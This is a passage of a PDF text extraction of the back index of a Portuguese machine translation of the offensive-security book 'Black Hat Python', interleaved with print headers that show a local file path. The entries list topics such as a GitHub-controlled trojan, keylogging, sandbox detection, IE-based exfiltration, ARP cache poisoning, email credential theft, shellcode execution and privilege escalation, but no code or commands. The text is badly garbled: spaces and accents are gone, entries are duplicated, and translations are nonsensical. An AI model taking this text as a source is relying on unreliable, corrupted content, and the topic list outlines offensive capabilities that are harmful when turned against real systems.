ofensivaforenseautomao,diretoCdigoInjection
Janelasdeescalonamentodeprivilgios,Chutarospneus
config,GithubComandoeControle

funoconnect_to_github,ConstruindoumGithubAwareTrojan
CabealhoContentLength,ManintheBrowser(tipode)
contarparmetro,Possuiraredecomscapy
funocreateMenuItem,BingparaBurp
funocreateNewInstance,arrotoFuzzing
OCreateProcessfuno,Criaodeumprocessodemonitor
ClasseCredRequestHandler,ManintheBrowser(tipode)
mduloctypes,DecodificandooIPCamada
D
diretriodedados,GithubComandoeControle
SeparadordedepuraoProbe,WingIDE,WingIDE
Destinoinacessvelmensagem,Chutarospneus,DecodingICMP
ProjetoDirBuster,Chutarospneus
funodir_bruter,BruteForandoDiretriosearquivoLocalizaes
funodisplay_wordlist,VirandositecontedoemSenhaouro
E
easy_installfuno,InstalandoKaliLinux
ProjetoElJefe,Criaodeumprocessodemonitor
funoencrypt_post,IECOMAutomationparaExfiltrao
funoencrypt_string,IECOMAutomationparaExfiltrao
configuraodoambiente,ConfiguraoUpSeuPythonAmbiente,InstalandoKaliLinux,instalaodeKaliLinux,
InstalandoKaliLinux,ainstalaodeKaliLinux,ainstalaodeKaliLinux,ainstalaodeKaliLinux,ainstalaodeKali
Linux,instalaodeKaliLinux,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,
WingIDE,WingIDE,WingIDE,WingIDE

KaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,
InstalandoKaliLinux,ainstalaodeKaliLinux
nomedeusurioesenhapadro,InstalaoKaliLinux
ambientedetrabalho,InstalandoKaliLinux
determinaraverso,InstalandoKaliLinux
downloaddeimagem,InstalandoKaliLinux
discussogeral,InstalandoKaliLinux
WingIDE,InstalandoKaliLinux,instalaodeKaliLinux,WingIDE,WingIDE,WingIDE,WingIDE,
WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE
acessar,WingIDE
Corrigindodependnciasausentes,WingIDE
discussogeral,InstalandoKaliLinux
inspecionaremodificarasvariveis
locais,WingIDE,WingIDE

instalao,WingIDE

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 100/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
abrindoembrancoarquivodePython,WingIDE
definirpontosdeinterrupo,WingIDE
definindoroteiroparaadepurao,WingIDE,WingIDE
vendorastreamentodepilha,WingIDE,WingIDE
GuiaErros,arroto,Chutarospneus
funo,exfiltrateIECOMAutomationparaExfiltrao
exfiltrao,CriandooServer,IECOMAutomationparaExfiltrao,IECOMAutomationpara
Exfiltrao,IECOMAutomationparaexfiltrao,IECOMAutomationparaexfiltrao,IECOM
AutomaoparaExfiltrao,IEautomaoCOMparaExfiltrao
rotinasdecriptografia,IECOMAutomationparaExfiltrao
scriptdegeraodechave,IECOMAutomationparaExfiltrao
funcionalidadelogin,IECOMAutomationparaExfiltrao
funcionalidadepostagem,IECOMAutomationparaExfiltrao
funesdeapoio,IECOMAutomationparaExfiltrao
testes,IECOMAutomationparaExfiltrao
GuiaExtender,arroto,arrotoFuzzing,Chutarospneus,Chutarospneus
funoextract_image,PCAPProcessing
F

mtododealimentao,BruteForandoHTMLFormAuthentication
Fidao,Chris,PCAPProcessing
ClasseFileCookieJar,BruteForandoHTMLFormAuthentication
parmetrodefiltro,Possuiraredecomscapy
funofind_module,HackingdoPythonimportaoFuncionalidade
tunnelingSSHparaafrente,Chutarospneus,Chutarospneus
Frisch,Dan,oWindowsPrivilegeEscalation
G
GDI(GraphicsDeviceInterfacedoWindows),Chutarospneus
RequisiesGET,OsoqueteBibliotecadeaWeb:urllib2
FunoGetAsyncKeyState,SandboxDeteco
FunoGetForegroundWindow,KeyloggingparaFuneTeclas
getGeneratorNamefuno,arrotoFuzzing
FunoGetLastInputInfo,SandboxDeteco
funogetNextPayload,arrotoFuzzing
FunoGetOwner,ProcessodeMonitoramentocomWMI
ObterContagemMarcaEscalafuno,SandboxDeteco
FunoGetWindowDC,TomarScreenshots
FunoGetWindowTextA,KeyloggingparaFuneTeclas
FunoGetWindowThreadProcessId,KeyloggingparaFuneTeclas
get_file_contentsfuno,ConstruindoumGithubAwareTrojan
funoget_http_headers,PCAPProcessing
funoget_mac,ARPCachePoisoningcomscapy
funoget_trojan_config,ConstruindoumGithubAwareTrojan
funoget_words,VirandositecontedoemSenhaouro
TrojansGitHubaware,GithubComandoeControle,GithubComandoeControle,Criando
Mdulos,ConfiguraodeTria,ConstruindoumTrojanGithubAware,importaodeHackingPython
Funcionalidade,funcionalidadedeimportaodeHackingPython,Chutarospneus

configuraodaconta,GithubComandoeControle
construo,construodeumGithubAwareTrojan
Configurando,TrojanConfigurao
criaodemdulos,CriaodeMdulos

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 101/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
hackersfuncionalidadedeimportao,HackingdoPythonimportaoFuncionalidade
melhoriaseaperfeioamentospara,Chutarospneus
testes,HackingdoPythonimportaoFuncionalidade
mdulogithub3,InstalandoKaliLinux
ClasseGitImporter,HackingdoPythonimportaoFuncionalidade
H
funohandle_client,TCPServidor
funohandle_comment,VirandositecontedoemSenhaouro
funohandle_data,BruteForandoHTMLFormAuthentication,Virandositecontedoem
ourosenha
funohandle_endtag,BruteForandoHTMLFormAuthentication
funohandle_starttag,BruteForandoHTMLFormAuthentication
HashDumpobjeto,Agarrandosenhahashes
pluginshashdump,Agarrandosenhahashes
funohasMorePayloads,arrotoFuzzing
hexdespejofuno,ConstruindoumTCPProxy
pluginhivelist,agarrandosenhahashes
ClasseHookManager,KeyloggingparaFuneTeclas
AutenticaodeformulrioHTML,forabruta,BruteForandoHTMLFormAuthentication,BruteForando
AutenticaodeformulrioHTML,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,chutarospneus

formulriodelogindeadministrador,BruteForandoHTMLFormAuthentication
configuraesgerais,BruteForandoHTMLFormAuthentication
HTMLclassedeanlise,BruteForandoHTMLFormAuthentication
colaremlistadepalavras,BruteForandoHTMLFormAuthentication
classeforandobrutaprimria,BruteForandoHTMLFormAuthentication
solicitaodefluxo,BruteForandoHTMLFormAuthentication
testes,Chutarospneus
ClasseHTMLParser,BruteForandoHTMLFormAuthentication,BruteForandoHTMLForm
Autenticao,RodarcontedodositeemOurosenha
HTTPguiahistria,arroto,Chutarospneus,Chutarospneus
Eu
ClasseIBurpExtender,arrotoFuzzing,BingparaBurp
ICMPmensagemdedecodificaoderotina,Chutarospneus,Chutarospneus,Chutarospneus,Decoding
ICMP,DecodingICMP,DecodingICMP,DecodingICMP
Destinoinacessvelmensagem,Chutarospneus,DecodingICMP
clculodecomprimento,DecodingICMP
elementosdamensagem,Chutarospneus
enviodedatagramasUDPeinterpretaoderesultados,DecodingICMP
testes,DecodingICMP
ClasseIContextMenuFactory,BingparaBurp
ClasseIContextMenuInvocation,BingparaBurp
ProcessoIexplore.exe,CriaodoServidor
ifaceparmetro,Possuiraredecomscapy
IIntruderPayloadGeneratorclasse,arrotoFuzzing
ClasseIIntruderPayloadGeneratorFactory,arrotoFuzzing
imagemesculturaroteiro,Chutarospneus,PCAPProcessing,PCAPProcessing,PCAPProcessing,
PCAPProcessing

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 102/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
aadiodecdigodedetecofacial,PCAPProcessing
aadiodefunesdeapoio,PCAPProcessing
codificaodescriptdeprocessamento,PCAPProcessing
testes,PCAPProcessamento

imageinfoplugin,AutomatizandoofensivosForensics
CredenciaisIMAP,roubar,Possuiraredecomscapy,RoubosEmailCredenciais
ImmunityDebugger,diretoCdigoinjeo,diretoCdigoInjection
mduloimp,HackingdoPythonimportaoFuncionalidade
__init__mtodo,DecodificandooIPCamada
funoinject_code,CdigoInjection
tagsdeentrada,BruteForandoHTMLFormAuthentication
controledeentrada/sada(IOCTL),PacketSniffingsobreoWindowseLinux,PacketSniffingsobreoWindows
eLinux
AutomaodoInternetExplorerCOM,FuncomInternetExplorer,ManintheBrowser(tipode),Man
intheBrowser(KindOf),MantheBrowserin(tipo),MantheBrowserin(tipo),Manin
aBrowser(KindOf),ManintheBrowser(KindOf),Criandooservidor,criandooServer,IE
COMAutomationparaExfiltrao,IECOMAutomationparaExfiltrao,IECOMAutomationpara
Exfiltrao,IECOMAutomationparaexfiltrao,IECOMAutomationparaexfiltrao,IECOM
AutomaoparaExfiltrao
exfiltrao,CriandooServer,IECOMAutomationparaExfiltrao,IECOMAutomationpara
Exfiltrao,IECOMAutomationparaexfiltrao,IECOMAutomationparaexfiltrao,IECOM
AutomaoparaExfiltrao,IEautomaoCOMparaExfiltrao
rotinasdecriptografia,IECOMAutomationparaExfiltrao
scriptdegeraodechave,IECOMAutomationparaExfiltrao
funcionalidadelogin,IECOMAutomationparaExfiltrao
funcionalidadepostagem,IECOMAutomationparaExfiltrao
funesdeapoio,IECOMAutomationparaExfiltrao
testes,IECOMAutomationparaExfiltrao
ataquesmaninthebrowser,ManintheBrowser(tipode),ManintheBrowser(tipode),Man
intheBrowser(KindOf),MantheBrowserin(tipo),Maninthebrowser(KindOf),Man
intheBrowser(KindOf),CriandooServidor
acriaodeservidorHTTP,ManintheBrowser(tipode)
definido,ManintheBrowser(tipode)
loopprincipal,ManintheBrowser(tipode)
estruturadeapoiopara,ManintheBrowser(tipode)
testes,CriaodoServidor
esperandoafuncionalidadedonavegador,ManintheBrowser(tipode)
Guiaintruso,arroto,Chutarospneus,Chutarospneus

Ferramentaintruso,arroto,arrotoFuzzing
IOCTL(controledeentrada/sada),PacketSniffingsobreoWindowseLinux,PacketSniffingsobreoWindows
eLinux
CabealhoIPdecodificaoderotina,PacketSniffingsobreoWindowseLinux,DecodificandooIPCamada,Decoding
acamadaIP,DecodificandoacamadaIP,DecodificandoacamadaIP
evitandomanipulaodebits,DecodificandooIPCamada
legvelprotocolo,DecodificandooIPCamada
testes,DecodificandooIPCamada
estruturadecabealhoIPv4tpica,DecodificandooIPCamada
J
Janzen,Cliff,oWindowsPrivilegeEscalation
FormatoJSON,TrojanConfigurao
JythonarquivoindependenteJAR,EstendendoBurpProxy,arrotoFuzzing
K
KaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,
InstalandoKaliLinux,ainstalaodeKaliLinux
nomedeusurioesenhapadro,InstalaoKaliLinux
ambientedetrabalho,InstalandoKaliLinux

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 103/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
determinaraverso,InstalandoKaliLinux
downloaddeimagem,InstalandoKaliLinux
discussogeral,InstalandoKaliLinux
ainstalaodepacotes,InstalandoKaliLinux
KeyDownevento,KeyloggingparaFuneTeclas
keylogging,KeyloggingparaFuneTeclas
FunoKeyStroke,KeyloggingparaFuneTeclas
Khrais,Hussam,SSHcomparamiko
Kuczmarski,Karol,HackingdoPythonimportaoFuncionalidade
eu
EstruturaLASTINPUTINFO,SandboxDeteco
funoload_module,HackingdoPythonimportaoFuncionalidade
funologin_form_index,ManintheBrowser(tipode)

funologin_to_tumblr,IECOMAutomationparaExfiltrao
funologout_form,ManintheBrowser(tipode)
funologout_url,ManintheBrowser(tipode)
M
Maninthebrowser(MITB)ataques,ManintheBrowser(tipode),ManintheBrowser(tipode),
ManintheBrowser(KindOf),Maninthebrowser(KindOf),Maninthebrowser(KindOf),
ManintheBrowser(KindOf),CriandooServidor
acriaodeservidorHTTP,ManintheBrowser(tipode)
definido,ManintheBrowser(tipode)
loopprincipal,ManintheBrowser(tipode)
estruturadeapoiopara,ManintheBrowser(tipode)
testes,CriaodoServidor
esperandoafuncionalidadedonavegador,ManintheBrowser(tipode)
Maninthemiddle(MITM)ataques,ARPCachePoisoningcomscapy,ARPCachePoisoningcom
Scapy,PoisoningARPCachecomscapy,PoisoningARPCachecomscapy,PoisoningARPCache
comscapy
aadiodefunesdeapoio,ARPCachePoisoningcomscapy
codificaodescriptdeenvenenamento,ARPCachePoisoningcomscapy
inspecionandocache,ARPCachePoisoningcomscapy
testes,ARPCachePoisoningcomscapy
funomangle,VirandositecontedoemSenhaouro
Metasploit,PythonicShellcodeExecution
Microsoft,Chutarospneus(verBingmotordebuscaInternetExplorerautomaoCOM)
AtaquesMITB,ManintheBrowser(tipode)(verataquesmaninthebrowser)
AtaquesMITM,ARPCachePoisoningcomscapy(vejaataquesmaninthemiddle)
diretriodemdulos,GithubComandoeControle
funomodule_runner,HackingdoPythonimportaoFuncionalidade
funomutate_payload,arrotoFuzzing
N
Nathoo,Karim,ManintheBrowser(tipode)
mdulonetaddr,DecodingICMP,Chutarospneus

funcionalidadenetcatlike,TCPServer,TCPServer,TCPServer,SubstituindoNetcat,SubstituindoNetcat,
SubstituindoNetcat,substituindoNetcat,substituindoNetcat,substituindoNetcat,substituindoNetcat,
SubstituindoNetcat,substituindoNetcat
adicionandoocdigodocliente,SubstituindoNetcat
chamarfunes,SubstituindoNetcat
funcionalidadeexecuodecomandos,SubstituindoNetcat
shelldecomando,SubstituindoNetcat
acriaodefunoprincipal,SubstituindoNetcat

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 104/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
CriandoLoopservidorprimrio,SubstituindoNetcat
funodecriaodestub,SubstituindoNetcat
arquivofuncionalidadeupload,SubstituindoNetcat
importaodebibliotecas,TCPServidor
definiodevariveis
globais,TCPServidor

testes,SubstituindoNetcat
conceitosbsicosderede,ARede:Basics,ARede:Basics,TCPCliente,TCPServer,TCPServer,
Chutarospneus,chutarospneus,ConstruindoumProxyTCP,ConstruindoumProxyTCP,ConstruindoumTCP
Proxy,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcom
Paramiko,SSHcomparamiko,chutarospneus,chutarospneus,chutarospneus,Chutaro
Pneus,SSHTunneling,SSHTunneling,TunnelingSSH

criaodeclientesdaTCP,ARede:Basics
acriaodeproxiesTCP,Chutarospneus,Chutarospneus,ConstruindoumTCPProxy,ConstruindoumTCP
Proxy,ConstruindoumProxyTCP
hexdespejofuno,ConstruindoumTCPProxy
funoproxy_handler,ConstruindoumTCPProxy
razes,Chutarospneus
testes,ConstruindoumTCPProxy
acriaodeservidoresTCP,TCPServidor
criaodeclientesUDP,TCPCliente
funcionalidadenetcatlike,TCPServidor(vejafuncionalidadenetcatlike)
TunnelingSSH,Chutarospneus,Chutarospneus,Chutarospneus,Chutarospneus,SSH
Tunneling,SSHtunelamento,tunelamentoSSH
paraafrente,Chutarospneus,Chutarospneus
reversa,Chutarospneus,SSHTunneling,SSHTunneling
testes,SSHTunneling
SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcom
Paramiko,SSHcomparamiko,SSHcomparamiko
acriaodeservidorSSH,SSHcomparamiko
instalarparamiko,SSHcomparamiko
autenticaodechave,SSHcomparamiko
execuodecomandosnoclienteWindowsporSSH,SSHcomparamiko
testes,SSHcomparamiko
sniffersderede,Arede:RawSocketseSniffing,ARede:RawSocketseSniffing,
Arede:RawSocketsecheirando,packetsniffingemWindowseLinux,packetsniffingem
WindowseLinux,packetsniffingemWindowseLinux,DecodificandoacamadaIP,DecodificandooIP
Camada,DecodificandoacamadaIP,DecodificandoacamadaIP,chutarospneus,chutarospneus,Chutar
ospneus,DecodingICMP,DecodingICMP,DecodingICMP,DecodingICMP

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 105/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

descobrirhostsativosemsegmentosderede,Arede:RawSocketseSniffing
ICMPmensagemdedecodificaoderotina,Chutarospneus,Chutarospneus,Chutarospneus,Decoding
ICMP,DecodingICMP,DecodingICMP,DecodingICMP
Destinoinacessvelmensagem,Chutarospneus,DecodingICMP
clculodecomprimento,DecodingICMP
elementosdamensagem,Chutarospneus
enviodedatagramasUDPeinterpretaoderesultados,DecodingICMP
testes,DecodingICMP
IPcabealhodedecodificaoderotina,PacketSniffingsobreoWindowseLinux,DecodificandooIPCamada,
DecodificandoacamadaIP,adecodificaodacamadaIP,adecodificaodacamadaIP
evitandomanipulaodebits,DecodificandooIPCamada
legvelprotocolo,DecodificandooIPCamada
testes,DecodificandooIPCamada
estruturadecabealhoIPv4tpica,DecodificandooIPCamada
modopromscuo,PacketSniffingsobreoWindowseLinux
criaodesniffersocketraw,PacketSniffingsobreoWindowseLinux
JanelascontraLinux,ARede:RawSocketseSniffing
__new__mtodo,DecodificandooIPCamada
O
automaoforenseofensivos,AutomatizandoofensivosForensics,AutomatizandoofensivosForensics,
AutomatizandoofensivosForensics,agarrandooshashesdesenha,cdigodiretoInjection
injeodecdigodireto,diretoCdigoInjection
ainstalaodevolatilidade,AutomatizandoofensivosForensics
perfis,AutomatizandoofensivosForensics
recuperaroshashesdesenha,Agarrandosenhahashes
recursosonline,ConfiguraoUpSeuPythonAmbiente,InstalandoKaliLinux,WingIDE,ARede:
Basics,SSHcomparamiko,SSHcomparamiko,arede:Socketsprimasecheirando,pacote
SniffingemWindowseLinux,chutarospneus,proprietriadaredecomscapy,Possuira
Redecomscapy,PCAPProcessing,PCAPProcessing,chutarospneus,chutarospneus,
BruteForandoaautenticaodeformulrioHTML,chutarospneus,estendendoBurpProxy,estendendoBurp
Proxy,estendendoBurpProxy,Bingparaarroto,GithubComandoeControle,ComandoeGithub
Controle,ConstruindoumTrojanGithubAware,funcionalidadedeimportaodeHackingPython,KeyloggingforFun
eteclas,tirarscreenshots,PythonicShellcodeexecuo,criandooServer,doWindows
Escalonamentodeprivilgios,oWindowsPrivilegeEscalation,CriandoumaProcessMonitor,criandoumProcesso
Monitor,monitoramentodoprocessocomoWMI,chutarospneus,automatizandoofensivosForensics,Direct
InjeodeCdigo,Cdigodeinjecodirecta
ChavesdeAPIdoBing,BingparaBurp
Arrotar,EstendendoBurpProxy
CaimeAbel,Chutarospneus
CarlosPerez,Chutarospneus
acriaodeestruturabsicapararepo,GithubComandoeControle
ProjetoDirBuster,Chutarospneus
ProjetoElJefe,Criaodeumprocessodemonitor
cdigodedetecofacial,PCAPProcessing
gerandocargasMetasploit,PythonicShellcodeExecution
hackersfuncionalidadedeimportaoPython,HackingdoPythonimportaoFuncionalidade
HussamKhrais,SSHcomparamiko
ImmunityDebugger,diretoCdigoInjection
controledeentrada/sada(IOCTL),PacketSniffingsobreoWindowseLinux
Joomlaformulriodelogindeadministrador,BruteForandoHTMLFormAuthentication
Jython,EstendendoBurpProxy
KaliLinux,instalaodeKaliLinux
MessageBoxshellcode,diretoCdigoInjection
mdulonetaddr,Chutarospneus
OpenCV,PCAPProcessing
Paramiko,SSHcomparamiko

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 106/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
PortSwiggerWebSecurity,EstendendoBurpProxy
escalonamentodeprivilgiosexemplodeservio,oWindowsPrivilegeEscalation
py2exe,ConstruindoumGithubAwareTrojan
PacotePyCrypto,CriaodoServidor
BibliotecaPyHook,KeyloggingparaFuneTeclas
PythonbibliotecaAPIGitHub,GithubComandoeControle
ApginaWMIPython,Criaodeumprocessodemonitor
InstaladorPyWin32,oWindowsPrivilegeEscalation
Scapy,Possuiraredecomscapy,Possuiraredecomscapy
mdulosocket,ARede:Basics

SVNDigger,Chutarospneus
VMWarePlayer,ConfiguraoUpSeuPythonAmbiente
Quadrovolatilidade,AutomatizandoofensivosForensics
DocumentaodaclasseWin32_Process,ProcessodeMonitoramentocomWMI
GDIdoWindows,TomarScreenshots
WingIDE,WingIDE
Wireshark,arede:RawSocketseSniffing
OpenCV,PCAPProcessing,PCAPProcessing
funoos.walk,MapeamentoAbrirFonteWebAppInstalaes
flagpropriedade,ManintheBrowser(tipode)
P
processamentodearquivosdecapturadepacotes,Chutarospneus(verprocessamentoPCAP)
packet.show()funo,RoubosEmailCredenciais
Paramiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSH
comparamiko,SSHcomparamiko
acriaodeservidorSSH,SSHcomparamiko
instalao,SSHcomparamiko
execuodecomandosnoclienteWindowsporSSH,SSHcomparamiko
AutenticaodechaveSSH,SSHcomparamiko
testes,SSHcomparamiko
listadepalavras,deadivinhaodesenhaVirandositecontedoemSenhaOuro,Virandositecontedo
emOurosenha,RodarcontedodositeemOurosenha,Rodarcontedodositeem
Ourosenha,RodarcontedodositeemOurosenha
converterotrfegoHTTPselecionadoemlistadepalavras,VirandositecontedoemSenhaouro
funcionalidadeparaexibirlistadepalavras,VirandositecontedoemSenhaouro
testes,VirandositecontedoemSenhaOuro,VirandositecontedoemSenhaouro
Guiacargasteis,arroto,Chutarospneus,Chutarospneus
PCAP(arquivodecapturadepacotes)deprocessamento,ARPCachePoisoningcomscapy,Chutarospneus,Chutar
ospneus,PCAPdeProcessamento,PCAPdeProcessamento,PCAPdeProcessamento,PCAPProcessamento

aadiodecdigodedetecofacial,PCAPProcessing
aadiodefunesdeapoio,PCAPProcessing
ARPresultadosdeenvenenamentodecache,ARPCachePoisoningcomscapy
codificaodescriptdeprocessamento,PCAPProcessing
imagemesculturaroteiro,Chutarospneus
testes,PCAPProcessamento
Perez,Carlos,Chutarospneus
gerenciadordepacotesdasemente,InstalandoKaliLinux
CredenciaisPOP3,roubar,Possuiraredecomscapy,RoubosEmailCredenciais
populate_offsetsfuno,Agarrandosenhahashes
Portodeerroinacessvel,Chutarospneus
PortSwiggerWebSecurity,EstendendoBurpProxy

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 107/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Guiaposies,arroto,Chutarospneus,Chutarospneus
funopost_to_tumblr,IECOMAutomationparaExfiltrao
escalonamentodeprivilgios,oWindowsPrivilegeEscalation,oWindowsPrivilegeEscalation,oWindows
PrivilegeEscalation,CriandoumaProcessMonitor,criandoummonitordeprocesso,processodeacompanhamento
comoWMI,omonitoramentodoprocessocomoWMI,privilgiosdoWindowstoken,privilgiosdeTokendoWindows,
Ganharacorrida,ganharacorrida,ganharacorrida,chutarospneus
injeodecdigo,Chutarospneus
instalarexemplodeservio,oWindowsPrivilegeEscalation
ainstalaodebibliotecas,oWindowsPrivilegeEscalation
monitoramentodeprocessos,criaodeumProcessoMonitor,CriandoumProcessoMonitor,ProcessodeMonitoramento
comWMI

testes,ProcessodeMonitoramentocomWMI
comoWMI,Criaodeumprocessodemonitor
privilgiossimblicos,ProcessodeMonitoramentocomWMI,oWindowsTokenparaprivilgios,oWindowstoken
privilgios
recuperarautomaticamenteprivilgioshabilitados,oWindowsTokenparaprivilgios
outputtingeregistro,oWindowsTokenparaPrivilgios
vencendocorridacontraaexecuodecdigo,ganhandoacorrida,ganharacorrida,ganharaCorrida
criaodemonitordearquivo,ganhandoacorrida
testes,ganhandoacorrida

parmetroPRN,Possuiraredecomscapy
monitoramentodeprocessos,criaodeumProcessoMonitor,CriandoumProcessoMonitor,ProcessodeMonitoramento
comWMI
corridacontraexecuodecdigoganhar,CriandoumProcessoMonitor,ProcessodeMonitoramentocomWMI
testes,ProcessodeMonitoramentocomWMI
comoWMI,Criaodeumprocessodemonitor
funoprocess_watcher,ProcessodeMonitoramentocomWMI
bandeiraprofile,AutomatizandoofensivosForensics
GuiaProxy,arroto,Chutarospneus,Chutarospneus
funoproxy_handler,ConstruindoumTCPProxy
Classepslist,diretoCdigoInjection
py2exe,ConstruindoumGithubAwareTrojan
PacotePyCrypto,CriandooServer,IECOMAutomationparaExfiltrao
BibliotecaPyHook,KeyloggingparaFuneTeclar,SandboxDeteco
PythonbibliotecaAPIGitHub,GithubComandoeControle
InstaladorPyWin32,oWindowsPrivilegeEscalation
Q
Objetosdefila,MapeamentoAbrirFonteWebAppInstalaes,BruteForarDiretrioseArquivo
localizaes
R
funorandom_sleep,IECOMAutomationparaExfiltrao
FunoReadDirectoryChangesW,ganhandoacorrida
funoreceive_from,ConstruindoumTCPProxy
recvfrom()funo,TCPCliente
funoregisterIntruderPayloadGeneratorFactory,arrotoFuzzing
ClasseRegistryApi,Agarrandosenhahashes
FerramentaRepeater,arroto,arrotoFuzzing
Classepedido,OsoqueteBibliotecadeaWeb:urllib2
funorequest_handler,ConstruindoumTCPProxy
funorequest_port_forward,SSHTunneling
redefinirfuno,arrotoFuzzing

funoresponse_handler,ConstruindoumTCPProxy
funorestore_target,ARPCachePoisoningcomscapy

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 108/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
tunnelingSSHreverso,Chutarospneus,SSHTunneling,SSHTunneling
funoreverse_forward_tunnel,SSHTunneling
executarafuno,CriandoMdulos
S
detecodesandbox,Chutarospneus
Bibliotecascapy,Possuiraredecomscapy,Possuiraredecomscapy,Possuira
Redecomscapy,proprietriadaredecomscapy,roubodecredenciaisdeemail,RoubarEmail
Credenciais,envenenamentoARPCachecomscapy,PoisoningARPCachecomscapy,ARPCache
Envenenandocomscapy,PoisoningARPCachecomscapy,PoisoningARPCachecomscapy,ARP
CachePoisoningcomscapy,chutarospneus,PCAPdeProcessamento,PCAPdeProcessamento,PCAP
Processamento,processamentodePCAP
EnvenenamentodecacheARP,ARPCachePoisoningcomscapy,ARPCachePoisoningcomscapy,ARP
CachePoisoningcomscapy,PoisoningARPcachecomscapy,PoisoningARPcachecomscapy
aadiodefunesdeapoio,ARPCachePoisoningcomscapy
codificaodescriptdeenvenenamento,ARPCachePoisoningcomscapy
inspecionandocache,ARPCachePoisoningcomscapy
testes,ARPCachePoisoningcomscapy
instalao,Possuiraredecomscapy
ProcessamentoPCAP,ARPCachePoisoningcomscapy,Chutarospneus,PCAPProcessing,PCAP
Processing,PCAPprocessamento,processamentodePCAP
aadiodecdigodedetecofacial,PCAPProcessing
aadiodefunesdeapoio,PCAPProcessing
ARPresultadosdeenvenenamentodecache,ARPCachePoisoningcomscapy
codificaodescriptdeprocessamento,PCAPProcessing
imagemesculturaroteiro,Chutarospneus
testes,PCAPProcessamento
roubodecredenciaisdeemail,Possuiraredecomscapy,Possuiraredecomscapy,
Roubodecredenciaisdeemail,roubodecredenciaisdeemail
aplicarfiltroparaportasdecorreiocomum,RoubosEmailCredenciais
criandosniffersimples,Possuiraredecomscapy
teste,RoubosEmailCredenciais

GuiaEscopo,arroto,Chutarospneus,VirandositecontedoemSenhaouro
screenshots,Chutarospneus
PrivilgioSeBackupPrivilege,oWindowsTokenparaPrivilgios
SecureShell,SSHcomparamiko(vejaSSH)
PrivilgioSeDebugPrivilege,oWindowsTokenparaPrivilgios
FunoSelectObject,TomarScreenshots
SeLoadDriverprivilgio,oWindowsTokenparaprivilgios,oWindowsTokenparaPrivilgios
sendto()funo,TCPCliente
funoserver_loop,SubstituindoNetcat
FunoSetWindowsHookEx,KeyloggingparaFuneTeclas
execuoshellcode,TomarScreenshots
MduloSimpleHTTPServer,PythonicShellcodeExecution
GuiaSitemapa,arroto,VirandositecontedoemSenhaOuro,Chutarospneus
CredenciaisSMTP,roubar,Possuiraredecomscapy,RoubosEmailCredenciais
funosniff,Possuiraredecomscapy
mdulosocket,ARede:Basics,ARede:Basics,TCPCliente,TCPServer,TCPServer,
Chutarospneus
construodeproxiesTCP,Chutarospneus
criaodeclientesdaTCP,ARede:Basics
acriaodeservidoresTCP,TCPServidor
criaodeclientesUDP,TCPCliente
netcatcomofuncionalidade,TCPServidor
ParmetroSOCK_DGRAM,TCPCliente
ParmetroSOCK_STREAM,ARede:Basics
SSH(SecureShell),SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcom
Paramiko,SSHcomparamiko,SSHcomparamiko,chutarospneus,chutarospneus,Chutaro

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 109/114
